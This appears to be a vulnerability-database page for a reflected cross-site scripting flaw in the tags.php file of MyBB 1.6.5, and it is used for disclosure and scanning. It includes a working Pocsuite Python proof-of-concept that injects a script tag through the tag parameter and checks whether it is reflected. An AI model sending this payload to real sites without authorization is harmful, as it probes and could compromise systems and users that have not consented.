Lucene search
K

MyBB 1.6.5 suffers from a cross site scripting vulnerability

🗓️ 27 Dec 2011 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 16 Views

MyBB 1.6.5 XSS vulnerability in tags.ph

Code

                                                #!/usr/bin/env python
# coding: utf-8

from pocsuite.net import req
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register

import requests

'''
原始利用链接:
/tags.php?tag="><script>prompt(/SEBUG@TEST/)</script>
'''

class TestPOC(POCBase):
    vulID = '26119'  # ssvid
    version = '1.0'
    author = ['XXXX']
    vulDate = ''
    createDate = '2016-01-25'
    updateDate = '2016-01-25'
    references = ['http://www.seebug.org/vuldb/ssvid-26119']
    name = 'MyBB 1.6.5 suffers from a cross site scripting vulnerability'
    appPowerLink = 'http://www.mybboard.net/'
    appName = 'MyBB'
    appVersion = '1.6.5'
    vulType = 'XSS'
    desc = '''
    MyBB 1.6.5 tags.php 存在跨站脚本漏洞
    '''
    samples = ['']
    
    def _verify(self):
        result = {}

        # 较之前poc加入rstip()使URL规范化
        # 使用prompt(/SEBUG@TEST/)替代prompt("SEBUG@TEST"),因为发现有的网站会转义双引号
        vulurl = self.url.rstrip('/') + '/tags.php?tag="><script>prompt(/SEBUG@TEST/)</script>'

        # 较之前poc加入异常处理机制
        try:
            # 较之前poc加入过期时间,禁用SSL证书认证:降低等待时间、排除SSL认证失败错误
            r = requests.get(vulurl,timeout=15,verify=False)
            if '<script>prompt(/SEBUG@TEST/)</script>' in r.content:
                result['XSSInfo'] = {}
                result['XSSInfo']['URL'] = r.url
        except Exception, e:
            raise e

        return self.parse_output(result)

    def _attack(self):
        return self._verify()

    def parse_output(self, result):
        #parse output
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('Internet nothing returned')
        return output

register(TestPOC)
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

27 Dec 2011 00:00Current
7.1High risk
Vulners AI Score7.1
16